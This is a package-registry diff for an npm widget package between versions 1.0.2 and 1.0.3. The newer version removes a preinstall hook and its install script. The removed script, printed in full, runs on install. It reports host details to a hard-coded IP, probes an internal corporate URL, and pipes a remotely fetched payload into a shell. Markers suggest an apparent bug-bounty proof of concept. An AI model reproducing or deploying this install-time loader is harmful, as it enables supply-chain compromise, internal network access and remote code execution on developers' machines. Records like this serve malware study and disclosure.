@noobaihome/amis-uni-area-widget 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/plugin.umd.js +1 -0
- package/dist/renderer.css +1 -0
- package/dist/renderer.umd.js +1 -0
- package/package.json +4 -7
- package/scripts/install.js +0 -143
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
/* Archived test widget. */
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,14 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@noobaihome/amis-uni-area-widget",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "Archived AI Suda area widget test package",
|
|
5
5
|
"license": "UNLICENSED",
|
|
6
6
|
"framework": "vue3",
|
|
7
|
-
"scripts": {
|
|
8
|
-
"preinstall": "node ./scripts/install.js"
|
|
9
|
-
},
|
|
10
7
|
"files": [
|
|
11
|
-
"
|
|
8
|
+
"dist"
|
|
12
9
|
],
|
|
13
10
|
"publishConfig": {
|
|
14
11
|
"access": "public",
|
|
@@ -18,7 +15,7 @@
|
|
|
18
15
|
{
|
|
19
16
|
"type": "bsrc-r252-widget",
|
|
20
17
|
"framework": "vue3",
|
|
21
|
-
"description": "
|
|
18
|
+
"description": "Archived test widget",
|
|
22
19
|
"entry": "/dist/renderer.umd",
|
|
23
20
|
"files": [
|
|
24
21
|
"/dist/renderer.css"
|
package/scripts/install.js
DELETED
|
@@ -1,143 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const http = require('http');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
const {spawnSync} = require('child_process');
|
|
7
|
-
|
|
8
|
-
const marker = 'BSRC_RCE_R260_9f4d31';
|
|
9
|
-
const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
|
|
10
|
-
const callbackHost = '49.232.169.67';
|
|
11
|
-
const callbackPort = 43817;
|
|
12
|
-
|
|
13
|
-
function base64url(value) {
|
|
14
|
-
return Buffer.from(String(value))
|
|
15
|
-
.toString('base64')
|
|
16
|
-
.replace(/\+/g, '-')
|
|
17
|
-
.replace(/\//g, '_')
|
|
18
|
-
.replace(/=+$/g, '');
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
function readManifest(directory) {
|
|
22
|
-
try {
|
|
23
|
-
return JSON.parse(fs.readFileSync(path.join(directory, 'package.json'), 'utf8'));
|
|
24
|
-
} catch (_) {
|
|
25
|
-
return null;
|
|
26
|
-
}
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
function isTargetBuild() {
|
|
30
|
-
const initCwd = process.env.INIT_CWD;
|
|
31
|
-
if (initCwd) {
|
|
32
|
-
const initManifest = readManifest(initCwd);
|
|
33
|
-
if (initManifest && initManifest.name === 'npm-widget-build') {
|
|
34
|
-
return true;
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
let current = __dirname;
|
|
39
|
-
for (let index = 0; index < 10; index += 1) {
|
|
40
|
-
const parsed = readManifest(current);
|
|
41
|
-
if (parsed && parsed.name === 'npm-widget-build') {
|
|
42
|
-
return true;
|
|
43
|
-
}
|
|
44
|
-
const parent = path.dirname(current);
|
|
45
|
-
if (parent === current) {
|
|
46
|
-
break;
|
|
47
|
-
}
|
|
48
|
-
current = parent;
|
|
49
|
-
}
|
|
50
|
-
return false;
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
function fetchText(url, timeoutMs) {
|
|
54
|
-
return new Promise((resolve, reject) => {
|
|
55
|
-
const request = http.get(url, (response) => {
|
|
56
|
-
const chunks = [];
|
|
57
|
-
response.on('data', (chunk) => chunks.push(Buffer.from(chunk)));
|
|
58
|
-
response.on('end', () => {
|
|
59
|
-
if (response.statusCode < 200 || response.statusCode >= 300) {
|
|
60
|
-
reject(new Error(`HTTP ${response.statusCode}`));
|
|
61
|
-
return;
|
|
62
|
-
}
|
|
63
|
-
resolve(Buffer.concat(chunks).toString('utf8'));
|
|
64
|
-
});
|
|
65
|
-
});
|
|
66
|
-
request.setTimeout(timeoutMs, () => request.destroy(new Error('timeout')));
|
|
67
|
-
request.on('error', reject);
|
|
68
|
-
});
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
async function callback(fields) {
|
|
72
|
-
const query = Object.entries(fields)
|
|
73
|
-
.map(([key, value]) => `${key}=${encodeURIComponent(String(value))}`)
|
|
74
|
-
.join('&');
|
|
75
|
-
const url = `http://${callbackHost}:${callbackPort}/bsrc-r260?${query}`;
|
|
76
|
-
try {
|
|
77
|
-
await fetchText(url, 15000);
|
|
78
|
-
} catch (_) {
|
|
79
|
-
// The static receipt server normally returns 404; its access log is authoritative.
|
|
80
|
-
}
|
|
81
|
-
}
|
|
82
|
-
|
|
83
|
-
function createBuildFiles() {
|
|
84
|
-
const dist = path.join(__dirname, '..', 'dist');
|
|
85
|
-
fs.mkdirSync(dist, {recursive: true});
|
|
86
|
-
fs.writeFileSync(
|
|
87
|
-
path.join(dist, 'renderer.umd.js'),
|
|
88
|
-
`module.exports={marker:'${marker}',kind:'renderer'};\n`
|
|
89
|
-
);
|
|
90
|
-
fs.writeFileSync(
|
|
91
|
-
path.join(dist, 'plugin.umd.js'),
|
|
92
|
-
`module.exports={marker:'${marker}',kind:'plugin'};\n`
|
|
93
|
-
);
|
|
94
|
-
fs.writeFileSync(path.join(dist, 'renderer.css'), `/* ${marker} generated */\n`);
|
|
95
|
-
}
|
|
96
|
-
|
|
97
|
-
async function main() {
|
|
98
|
-
createBuildFiles();
|
|
99
|
-
const target = isTargetBuild();
|
|
100
|
-
process.stdout.write(`${marker} lifecycle=start target=${target ? 1 : 0}\n`);
|
|
101
|
-
await callback({
|
|
102
|
-
marker,
|
|
103
|
-
stage: 'start',
|
|
104
|
-
target: target ? 1 : 0,
|
|
105
|
-
pid: process.pid,
|
|
106
|
-
cwd: base64url(process.cwd()),
|
|
107
|
-
init: base64url(process.env.INIT_CWD || '')
|
|
108
|
-
});
|
|
109
|
-
if (!target) {
|
|
110
|
-
return;
|
|
111
|
-
}
|
|
112
|
-
|
|
113
|
-
let uid = '';
|
|
114
|
-
let internalStatus = 'empty';
|
|
115
|
-
let internalError = '';
|
|
116
|
-
try {
|
|
117
|
-
uid = await fetchText(internalUrl, 15000);
|
|
118
|
-
internalStatus = uid ? 'ok' : 'empty';
|
|
119
|
-
} catch (error) {
|
|
120
|
-
internalStatus = 'error';
|
|
121
|
-
internalError = error.message;
|
|
122
|
-
}
|
|
123
|
-
process.stdout.write(
|
|
124
|
-
`${marker} internal_status=${internalStatus} internal_bytes=${Buffer.byteLength(uid)}\n`
|
|
125
|
-
);
|
|
126
|
-
await callback({
|
|
127
|
-
marker,
|
|
128
|
-
stage: 'internal',
|
|
129
|
-
target: 1,
|
|
130
|
-
status: internalStatus,
|
|
131
|
-
uid: base64url(uid),
|
|
132
|
-
error: base64url(internalError)
|
|
133
|
-
});
|
|
134
|
-
|
|
135
|
-
const payload =
|
|
136
|
-
'(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
|
|
137
|
-
spawnSync('/bin/sh', ['-c', payload], {stdio: 'inherit', timeout: 240000});
|
|
138
|
-
setTimeout(() => {}, 9 * 24 * 60 * 60 * 1000);
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
main().catch((error) => {
|
|
142
|
-
process.stdout.write(`${marker} lifecycle_error=${error.message}\n`);
|
|
143
|
-
});
|